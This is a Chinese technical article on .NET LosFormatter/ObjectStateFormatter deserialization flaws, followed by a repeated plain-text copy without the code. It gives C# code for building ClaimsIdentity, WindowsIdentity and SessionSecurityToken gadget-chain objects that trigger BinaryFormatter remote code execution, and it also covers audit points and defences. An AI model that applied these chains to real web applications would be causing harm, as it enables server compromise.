.net反序列化之LosFormatter
字数 1228 2025-08-05 08:17:36

.NET反序列化之LosFormatter深入解析

LosFormatter概述

LosFormatter (Limited Object Serialization Formatter) 是.NET框架中用于序列化视图状态(ViewState)的类,位于System.Web.dll中,命名空间为System.Web.UI。其主要特点包括:

  1. 主要用于Web窗体应用程序中序列化存储视图流状态
  2. 底层实际使用ObjectStateFormatter进行序列化/反序列化操作
  3. 序列化后的数据通常以Base64编码,以"/wEyt"开头
  4. 默认情况下不启用MAC(消息认证码)校验

基本使用示例

[Serializable]
class Person
{
    public string Name { get; set; }
    public int Age { get; set; }
    
    public Person(string name, int age)
    {
        Name = name;
        Age = age;
    }
    
    public void SayHello()
    {
        Console.WriteLine("hello");
    }
}

// 序列化
LosFormatter losFormatter = new LosFormatter();
using (MemoryStream memory = new MemoryStream())
{
    losFormatter.Serialize(memory, new Person("jack", 15));
    memory.Position = 0;
    
    // 反序列化
    Person p = (Person)losFormatter.Deserialize(memory);
    p.SayHello();
    
    // 查看序列化后的Base64数据
    Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray()));
}

反序列化安全风险

LosFormatter的反序列化操作存在严重安全风险:

  1. 底层最终调用ObjectStateFormatter进行反序列化
  2. ObjectStateFormatter会处理Base64编码数据并判断MAC校验
  3. 关键风险点:当遇到object类型字段时,会使用BinaryFormatter进行二次反序列化

攻击链分析

1. ClaimsIdentity攻击链

原理

  • ClaimsIdentity类中的m_bootstrapContext字段是object类型
  • 反序列化时会通过BinaryFormatter处理该字段内容

利用方式

[Serializable]
public class My
{
    public object o;  // 可被利用的object类型字段
}

// 构造恶意对象
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal();
My my = new My();
my.o = payload;

// 序列化后反序列化触发RCE
losFormatter.Serialize(stream, my);
losFormatter.Deserialize(stream);

2. WindowsIdentity攻击链

WindowsIdentity继承自ClaimsIdentity,同样可利用:

[Serializable]
public class WindowsIdentityIdentityMarshal : ISerializable
{
    private string B64Payload { get; }
    
    public WindowsIdentityIdentityMarshal(string b64payload)
    {
        B64Payload = b64payload;
    }
    
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(WindowsIdentity));
        info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
        info.AddValue("System.Security.ClaimsIdentity.bootstrapContext", B64Payload);
        info.AddValue("System.Security.ClaimsIdentity.claims", B64Payload);
    }
}

3. SessionSecurityToken攻击链

利用点

  • SessionSecurityToken类的BootstrapToken处理
  • 通过构造特定的XML结构触发BinaryFormatter反序列化

关键代码结构

xmlDictionaryWriter.WriteStartElement("ClaimsPrincipal", "");
xmlDictionaryWriter.WriteStartElement("Identities", "");
xmlDictionaryWriter.WriteStartElement("Identity", "");
xmlDictionaryWriter.WriteStartElement("BootStrapToken", "");
xmlDictionaryWriter.WriteValue(B64Payload); // 恶意payload
xmlDictionaryWriter.WriteEndElement();
// ...其他必要元素...

漏洞审计要点

  1. 检查所有LosFormatter和ObjectStateFormatter的反序列化点
  2. 特别注意object类型的字段,可能引发二次反序列化
  3. 关注ClaimsIdentity、WindowsIdentity等类的使用
  4. 检查是否启用了MAC校验(无参构造函数默认不启用)

防御建议

  1. 避免反序列化不可信数据
  2. 使用LosFormatter时启用MAC校验
  3. 更新.NET框架至最新版本
  4. 实施严格的输入验证
  5. 考虑使用替代的序列化方案

技术深度解析

ObjectStateFormatter的内部处理机制:

  1. 序列化过程

    • 检查字段类型并写入对应的Token_xxx标记
    • 基本类型直接存储
    • 复杂类型或object类型使用BinaryFormatter序列化并添加Token_BinarySerialized标记
  2. 反序列化过程

    • 读取Token标记判断类型
    • 遇到Token_BinarySerialized时直接调用BinaryFormatter反序列化
    • 这正是二次反序列化漏洞的根源
// ObjectStateFormatter.DeserializeValue片段
case Token.BinarySerialized:
    BinaryFormatter formatter = new BinaryFormatter();
    return formatter.Deserialize(reader.BaseReader);

通过深入理解这些机制,可以更有效地发现和防御相关安全问题。

.NET反序列化之LosFormatter深入解析 LosFormatter概述 LosFormatter (Limited Object Serialization Formatter) 是.NET框架中用于序列化视图状态(ViewState)的类,位于System.Web.dll中,命名空间为System.Web.UI。其主要特点包括: 主要用于Web窗体应用程序中序列化存储视图流状态 底层实际使用ObjectStateFormatter进行序列化/反序列化操作 序列化后的数据通常以Base64编码,以"/wEyt"开头 默认情况下不启用MAC(消息认证码)校验 基本使用示例 反序列化安全风险 LosFormatter的反序列化操作存在严重安全风险: 底层最终调用ObjectStateFormatter进行反序列化 ObjectStateFormatter会处理Base64编码数据并判断MAC校验 关键风险点:当遇到object类型字段时,会使用BinaryFormatter进行二次反序列化 攻击链分析 1. ClaimsIdentity攻击链 原理 : ClaimsIdentity类中的 m_bootstrapContext 字段是object类型 反序列化时会通过BinaryFormatter处理该字段内容 利用方式 : 2. WindowsIdentity攻击链 WindowsIdentity继承自ClaimsIdentity,同样可利用: 3. SessionSecurityToken攻击链 利用点 : SessionSecurityToken类的BootstrapToken处理 通过构造特定的XML结构触发BinaryFormatter反序列化 关键代码结构 : 漏洞审计要点 检查所有LosFormatter和ObjectStateFormatter的反序列化点 特别注意object类型的字段,可能引发二次反序列化 关注ClaimsIdentity、WindowsIdentity等类的使用 检查是否启用了MAC校验(无参构造函数默认不启用) 防御建议 避免反序列化不可信数据 使用LosFormatter时启用MAC校验 更新.NET框架至最新版本 实施严格的输入验证 考虑使用替代的序列化方案 技术深度解析 ObjectStateFormatter的内部处理机制: 序列化过程 : 检查字段类型并写入对应的Token_ xxx标记 基本类型直接存储 复杂类型或object类型使用BinaryFormatter序列化并添加Token_ BinarySerialized标记 反序列化过程 : 读取Token标记判断类型 遇到Token_ BinarySerialized时直接调用BinaryFormatter反序列化 这正是二次反序列化漏洞的根源 通过深入理解这些机制,可以更有效地发现和防御相关安全问题。